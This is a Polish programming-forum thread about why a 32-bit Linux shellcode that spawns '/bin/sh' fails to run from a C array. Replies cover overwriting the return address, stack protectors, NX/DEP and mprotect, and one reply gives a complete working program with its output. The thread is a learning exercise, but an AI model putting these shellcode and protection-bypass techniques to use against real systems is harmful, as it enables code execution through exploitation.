Pytanie o wykonanie shellcodu w C

0

Mam taki shellcode, który uruchamia powłoke na Linuksie:

// shellcode.c
char shellcode[] =
    “\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
    “\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
    “\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
int main()
{
    int *ret;
    ret = (int *)&ret + 4;
    (*ret) = (int)shellcode;
}

Wnioskuję, że shellcode jest załadowany do pamięci 4 bajty zaraz za wskaźnikiem, bo taki jest rozmiar wskaźnika.
Czyli tak:

  1. deklaruje wskaźnik
  2. przypisuje mu adres samego siebie + 4
  3. pod adres, na który wskazuje wskaźnik (czyli adres samego wskaźnika + 4) umieszczam shellcode

Czy ten shellcode zostanie automatycznie uruchomiony czy trzeba wywołać jeszcze jakąś funkcje?
Tak sobie myślę, że dlaczego miałby się sam uruchomić, skoro jest tylko w pamięci. I jeśli tak jest to jak go wywołać?

2

Stos "rosnie w dol" czyli ret = (int *)&ret + 4; pod targetowana architektura wskazuje na adres powrotu a nastepnie podmieniasz adres powrotu na adres tablicy shellcode.

https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me/2705871

1

Wnioskuję, że shellcode jest załadowany do pamięci 4 bajty zaraz za wskaźnikiem (...)

Nie polegałbym na tym zbytnio. Zerknij w debugger, a następnie w pamięć binarki po jej skompilowaniu to będziesz znał dokładną lokalizację shellcode'u i wskaźnika. Z tym, że w Twoim przypadku shellcode jest w buforze globalnym. Pod Windowsem na przykład ten shellcode znalazłby się w sekcji .data, w każdym razie na pewno nie trafiłby na stos. Pod Linuxem tak samo.

Czy ten shellcode zostanie automatycznie uruchomiony czy trzeba wywołać jeszcze jakąś funkcje?

Skąd pomysł, że shellcode się sam magicznie uruchomi? Jak exploitujesz jakąś binarkę to nadpisujesz jej pamięć shellcodem (jest to jeden z wariantów ataków) i dodatkowo nadpisujesz też adres powrotu, którejś z funkcji programu, żeby zmienić jego execution flow i przekierować wykonanie na ten shellcode właśnie. Jeśli nie nadpisujesz adresu powrotu to musisz utworzyć wskaźnik na funkcję, który będzie wskazywał na shellcode.
Jak wywołasz tę funkcję to nastąpi skok do Twojego shellcode'u i się wykona. Czyli mówiąc prościej - funkcją jest wtedy shellcode. Jednakże jak się będziesz bawił w takie rzeczy to musisz uważać na DEP.(https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention) Nie pamiętam czy DEP pod Windowsem jest włączone domyślnie, ale jeśli by było to shellcode wrzucony na stos się nie wykona choćbyś nawet wywołał go jako funkcję.

1

Kontynujac troche za @Shizzer

Wnioskuję, że shellcode jest załadowany do pamięci 4 bajty zaraz za wskaźnikiem

Nie beda to 4 bajty a 4 "inty" (16 bajtow). I nie za wskaznikiem na stosie tylko PRZED wskaznikiem co jest kluczowe bo exploit spodziewa sie tam spotkac adres powrotu:)

No i potem nie ladujesz shellcode'u tylko jego adres.

Skąd pomysł, że shellcode się sam magicznie uruchomi?

Czy zmanipulowanie adresu powrotu to nie jest troche takie magiczne uruchomienie wlasnie?

0

@stivens: racja, ładnie wszystko opisane pod tym linkiem, tylko errata do polskiej wersji mnie zmyliła, bo w erracie jest +4, a w książce +2, muszę doczytać o co biega

2

Ten kod to jest Undefined Behavior, więc kompilator może zmasakrować ten niecny plan (zależnie od ustawień kompilatora).
Tak jak ci pisze stivens to jest próba nadpisania adresu powrotu. Dzięki temu kod maszynowy ukryty pod shellcode ma być uruchomiony po powrocie z funkcji main.

4
  1. Musisz wyłączyć stack protection podczas kompilacji, inaczej nici z całego shellcode'u (https://stackoverflow.com/a/40867982) Minimum to -fno-stack-protector
  2. Kompilator może dołożyć jakieś swoje ukryte zmienne. Polecam Ghidra i popatrzenie w wygenerowany assembler (z Ghidrą bardzo łatwe jak się skompiluje z dbg info)
  3. Zgodnie ze standardową konwencją cdecl, zaraz po zmiennej na stacku jest stary EBP (rejestr przechowujący początek stosu) trzeba by więc na 32-bitowej maszynie się o 8 przesunąć (https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl). Tutaj przesuwamy się o 4*sizeof(int) = 16 być może po to zeby ominąć stack protector'a.

PS. Zawsze deassembluj znaleziony shellcode przed wykonaniem na kompie (lub rób to w VM). Inaczej ktoś może wydojić wszystkie twoje bitcoiny...

3

a nie prościej spróbować tak:

char shellcode[] =
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main() {
    int (*f)() = (int(*)())shellcode;
    f();
    return 0;
}

https://godbolt.org/z/MPqY5r

Co do oryginalnego kodu, jak widać tu kompilator wykrywa UB i usuwa kod z tym hackiem dla -O3 (a nawet dla -O1).
Na dodatek kompilator ostrzega, że rozmiar adresu i int się nie zgadza (domyślnie buduje dla 64 bitów). Ok przegapiłem flagę -m32.

1

@0xmarcin: Ale to nie jest prawda, stack protector nie chroni przed nadpisaniem adresu powrotu, jeśli pozostawimy kanarek (jedna wartość obok) nieruszony.

A co do tego dlaczego leci SEGFAULT, ja bym tylko zgadywał, że strona na której znalazł się bufor nie dostała uprawnień do wykonywania. Możesz spróbować najpierw zrobić

#include <sys/mman.h>


// ... int main() { itd.

mprotect(data & (~0xfff), sizeof(data), PROT_READ | PROT_WRITE |PROT_EXEC);
0

@0xmarcin: flaga -fno-stack-protector niewiele dała
@enedil: nie do końca rozumiem działania funkcji mprotect, ale w miejsce data dałem adres &shellcode i teraz gdy dodaje tyle samo bajtów to nie wywala błędu naruszenia ochrony pamięci, o to chodziło? Pomijam już fakt, że powłoka i tak się nie uruchamia.

5

Ech tyle tutaj półprawd że aż szkoda pisać :D

  1. Stack protector guzik tu zmienia bo autor wcale nie robi żadnego overflowa i nie nadpisuje adresu powrotu i nie psuje kanarka
  2. Za to od wielu lat istnieje NX/Data Execution Prevention które nie pozwala "wykonywać" danych. Albo trzeba zrobić mprotect albo skompilować z flagą execstack
  3. Shellcode musi pasować do architektury więc jak masz 64 bitową binarkę a próbujesz odpalić 32 bitowy shellcode to mam złą wiadomość
  4. Weź jak człowiek odpal gdb (najlepiej pwndbg albo GEF) i zrób zwyczajnie step into i zobacz gdzie skoczyłeś i co się faktycznie wykonuje.
  5. Może cię tu też łapac jakiś memory alignment, gdzie nie wolno ci skoczyć pod adres który nie jest wyrównany do 4 albo 8 bajtów.
0

main w gdb wygląda tak (tu akurat z funkcją mprotect):

   0x56556199 <main>:   lea    ecx,[esp+0x4]
   0x5655619d <main+4>: and    esp,0xfffffff0
   0x565561a0 <main+7>: push   DWORD PTR [ecx-0x4]
   0x565561a3 <main+10>:        push   ebp
   0x565561a4 <main+11>:        mov    ebp,esp
   0x565561a6 <main+13>:        push   ebx
   0x565561a7 <main+14>:        push   ecx
   0x565561a8 <main+15>:        sub    esp,0x10
   0x565561ab <main+18>:        call   0x565561f0 <__x86.get_pc_thunk.ax>
   0x565561b0 <main+23>:        add    eax,0x2e50
=> 0x565561b5 <main+28>:        lea    edx,[ebp-0xc]
   0x565561b8 <main+31>:        add    edx,0x8
   0x565561bb <main+34>:        mov    DWORD PTR [ebp-0xc],edx
   0x565561be <main+37>:        mov    edx,DWORD PTR [ebp-0xc]
   0x565561c1 <main+40>:        lea    ecx,[eax+0x40]
   0x565561c7 <main+46>:        mov    DWORD PTR [edx],ecx
   0x565561c9 <main+48>:        sub    esp,0x4
   0x565561cc <main+51>:        push   0x6
   0x565561ce <main+53>:        push   0x29
   0x565561d0 <main+55>:        lea    edx,[eax+0x40]
   0x565561d6 <main+61>:        push   edx
   0x565561d7 <main+62>:        mov    ebx,eax
   0x565561d9 <main+64>:        call   0x56556030 <mprotect@plt>
   0x565561de <main+69>:        add    esp,0x10
   0x565561e1 <main+72>:        mov    eax,0x0
   0x565561e6 <main+77>:        lea    esp,[ebp-0x8]
   0x565561e9 <main+80>:        pop    ecx
   0x565561ea <main+81>:        pop    ebx
   0x565561eb <main+82>:        pop    ebp
   0x565561ec <main+83>:        lea    esp,[ecx-0x4]
   0x565561ef <main+86>:        ret    
   0x565561f0 <__x86.get_pc_thunk.ax>:  mov    eax,DWORD PTR [esp]
   0x565561f3 <__x86.get_pc_thunk.ax+3>:        ret    
  
1

Na oko to ten shell code jakiś lewy...
Wziąlem payload stąd: http://shell-storm.org/shellcode/files/shellcode-827.php
Autor wykazał się sprytem i stringa /bin/sh wkłada na stos przez zwykłe push:

$ objdump -b binary -D -m i386 f.com 

f.com:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 0a       	push   $0xa69622f
   d:	6e                   	outsb  %ds:(%esi),(%dx)
   e:	89 e3                	mov    %esp,%ebx
  10:	50                   	push   %eax
  11:	53                   	push   %ebx
  12:	89 e1                	mov    %esp,%ecx
  14:	b0 0b                	mov    $0xb,%al
  16:	cd 80                	int    $0x80

$ hexdump -C f.com 
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 0a 6e 89 e3  |1.Ph//shh/bi.n..|
00000010  50 53 89 e1 b0 0b cd 80  0a                       |PS.......|
00000019

Kompiluje:

gcc -m32 -fno-stack-protector main2.cpp

I odpala 2 shella.

1

Edit udało się opalić coś co działa z podanym przeze mnie shellcodem:

$ cat main2.cpp 
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int foo(void)
{
    long* ptr;
    ptr = (long*)&ptr;

    printf("ptr = %p\n", ptr);
    for (int i = 0; i < 8; i++) {
        printf("foo stack[%d] %p\n", -i, (void*)ptr[i]);
    }

    ptr[6] = (long)(void*)shellcode;

    printf("after change:\n");
    for (int i = 0; i < 8; i++) {
        printf("foo stack[%d] %p\n", -i, (void*)ptr[i]);
    }

    return 0;
}

int main(void) { 
    if (mprotect((void*)((long)shellcode & (~0xfffL)), 
            strlen(shellcode), 
            PROT_READ | PROT_WRITE |PROT_EXEC)) {
        printf("error mprotect\n");
        return 1;
    }


    printf("main addr=%p\n", &main);
    foo(); 
}

I wykonanie:

$ gcc -m32 -fno-stack-protector main2.cpp 
main2.cpp:6:5: warning: deprecated conversion from string constant to ‘char*’ [-Wwrite-strings]
     "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
     ^
$ ./a.out 
main addr=0x8048562
ptr = 0xffb80874
foo stack[0] 0xffb80874
foo stack[-1] 0xf75dc685
foo stack[-2] 0x2
foo stack[-3] 0x80486c1
foo stack[-4] 0x8048562
foo stack[-5] 0xffb80898
foo stack[-6] 0x80485d9
foo stack[-7] 0xf77463dc
after change:
foo stack[0] 0xffb80874
foo stack[-1] 0x1
foo stack[-2] 0x8
foo stack[-3] 0x80486c1
foo stack[-4] 0x8048562
foo stack[-5] 0xffb80898
foo stack[-6] 0x8048670
foo stack[-7] 0xf77463dc
$ ls
a.out  code.com  f.com	main.cpp  main2.cpp
$ 
1

Na koniec ASM z Ghidry:
screenshot-20201201190546.png

1 użytkowników online, w tym zalogowanych: 0, gości: 1